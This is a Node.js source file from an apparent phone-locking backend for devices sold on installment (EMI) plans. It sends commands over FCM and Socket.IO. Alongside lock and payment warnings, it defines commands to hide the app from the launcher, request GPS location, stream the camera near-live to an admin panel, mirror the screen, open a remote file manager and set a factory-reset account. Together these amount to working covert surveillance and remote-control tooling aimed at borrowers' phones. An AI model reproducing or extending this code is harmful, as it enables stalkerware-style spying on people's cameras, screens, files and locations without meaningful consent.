rr-locker-api / src /services /commandService.js
MD.Riad Rayhan
Node.js + Socket.IO backend (migrated from FastAPI)
75430b0 verified
Raw
History Blame Contribute Delete
7.19 kB
import { Op } from 'sequelize';
import {
Device, DeviceCommand, EMIContract, EMIPayment,
} from '../models/index.js';
import { FCMService } from './fcmService.js';
import { wakeDevice } from './realtime.js';
import { utcNow } from '../utils/time.js';
/**
* Device command management — port of CommandService in emi_service.py.
* Commands are committed optimistically; FCM is fired in the background so the
* admin request never blocks on the push round-trip.
*/
export const CommandService = {
async createCommand(device, commandType, payload = {}, userId = null, reason = null) {
const fields = {
device_id: device.id,
command_type: commandType,
payload: payload || {},
issued_by: userId,
reason,
};
if (device.fcm_token) {
fields.status = 'sent';
fields.sent_at = utcNow();
} else {
fields.status = 'pending';
fields.error_message = 'No FCM token - waiting for device poll';
}
const command = await DeviceCommand.create(fields);
// Instant wake over Socket.IO (device picks the command up immediately).
try {
wakeDevice(device.id);
} catch {
/* best effort */
}
// Background FCM push (non-blocking).
if (device.fcm_token) {
FCMService.sendCommand({
fcmToken: device.fcm_token,
commandType: String(commandType).toUpperCase(),
payload: payload || {},
commandId: String(command.id),
}).then((messageId) => {
if (messageId) {
command.fcm_message_id = messageId;
command.save().catch(() => {});
}
}).catch(() => {});
}
return command;
},
createLockCommand(device, userId = null, reason = null,
message = 'Your device has been locked due to pending EMI payment.', contactNumber = '') {
return this.createCommand(device, 'lock', {
message, contact_number: contactNumber, allow_emergency: 'true',
}, userId, reason);
},
createUnlockCommand(device, userId = null, reason = null) {
return this.createCommand(device, 'unlock', {}, userId, reason);
},
createWarningCommand(device, title, message, dueDate = '', amount = '', userId = null) {
return this.createCommand(device, 'warning', {
title, message, due_date: dueDate, amount,
}, userId, 'Payment reminder');
},
createHideAppCommand(device, userId = null, reason = null) {
return this.createCommand(device, 'hide_app', { action: 'hide', hide_from_launcher: true }, userId, reason || 'Admin hide app');
},
createUnhideAppCommand(device, userId = null, reason = null) {
return this.createCommand(device, 'unhide_app', { action: 'unhide', hide_from_launcher: false }, userId, reason || 'Admin unhide app');
},
createDisableAppCommand(device, userId = null, reason = null) {
return this.createCommand(device, 'disable_app', { action: 'disable', disable_protections: true }, userId, reason || 'Admin disable app');
},
createEnableAppCommand(device, userId = null, reason = null) {
return this.createCommand(device, 'enable_app', { action: 'enable', disable_protections: false }, userId, reason || 'Admin enable app');
},
createGpsTrackCommand(device, userId = null, reason = null) {
return this.createCommand(device, 'gps_track', { action: 'gps_track', request_location: true }, userId, reason || 'Admin GPS tracking request');
},
createCameraOnCommand(device, userId = null, reason = null, camera = 'front') {
const lens = ['rear', 'back'].includes(String(camera).toLowerCase()) ? 'rear' : 'front';
// capture_interval is in SECONDS on the wire; the device multiplies by 1000.
// 1s gives a near-live stream of 480px frames in the admin panel.
return this.createCommand(device, 'camera_on', { action: 'camera_on', capture_interval: '1', camera: lens }, userId, reason || 'Admin camera on');
},
createCameraOffCommand(device, userId = null, reason = null) {
return this.createCommand(device, 'camera_off', { action: 'camera_off' }, userId, reason || 'Admin camera off');
},
createUninstallAppCommand(device, userId = null, reason = null) {
return this.createCommand(device, 'uninstall_app', { action: 'uninstall', remove_device_owner: true, uninstall_app: true }, userId, reason || 'Admin uninstall app');
},
createSetFrpAccountCommand(device, frpAccount, userId = null, reason = null) {
return this.createCommand(device, 'set_frp_account', { action: 'set_frp_account', frp_account: frpAccount }, userId, reason || `Set FRP account: ${frpAccount}`);
},
createStartScreenMirrorCommand(device, quality = 50, fps = 4, scale = 0.5, userId = null, reason = null) {
const clamp = (v, lo, hi) => Math.max(lo, Math.min(hi, v));
return this.createCommand(device, 'start_screen_mirror', {
action: 'start_screen_mirror',
quality: String(clamp(parseInt(quality, 10) || 50, 1, 100)),
fps: String(clamp(parseInt(fps, 10) || 4, 1, 15)),
scale: String(clamp(parseFloat(scale) || 0.5, 0.2, 1.0)),
}, userId, reason || 'Admin started screen mirroring');
},
createStopScreenMirrorCommand(device, userId = null, reason = null) {
return this.createCommand(device, 'stop_screen_mirror', { action: 'stop_screen_mirror' }, userId, reason || 'Admin stopped screen mirroring');
},
createStartFileManagerCommand(device, userId = null, reason = null) {
return this.createCommand(device, 'start_file_manager', { action: 'start_file_manager' }, userId, reason || 'Admin opened file manager');
},
createStopFileManagerCommand(device, userId = null, reason = null) {
return this.createCommand(device, 'stop_file_manager', { action: 'stop_file_manager' }, userId, reason || 'Admin closed file manager');
},
/** Update command status from a device acknowledgment and sync device state. */
async acknowledgeCommand(commandId, status, errorMessage = null) {
const command = await DeviceCommand.findByPk(commandId);
if (!command) return null;
command.status = status;
if (status === 'delivered') {
command.delivered_at = utcNow();
} else if (status === 'executed') {
command.executed_at = utcNow();
const device = await Device.findByPk(command.device_id);
if (device) {
const t = command.command_type;
if (t === 'lock') device.status = 'locked';
else if (t === 'unlock') device.status = 'active';
else if (t === 'hide_app') device.is_app_hidden = true;
else if (t === 'unhide_app') device.is_app_hidden = false;
else if (t === 'disable_app') device.is_app_disabled = true;
else if (t === 'enable_app') device.is_app_disabled = false;
else if (t === 'camera_on') device.camera_active = true;
else if (t === 'camera_off') device.camera_active = false;
await device.save();
}
} else if (status === 'failed') {
command.error_message = errorMessage;
}
await command.save();
return command;
},
};
export default CommandService;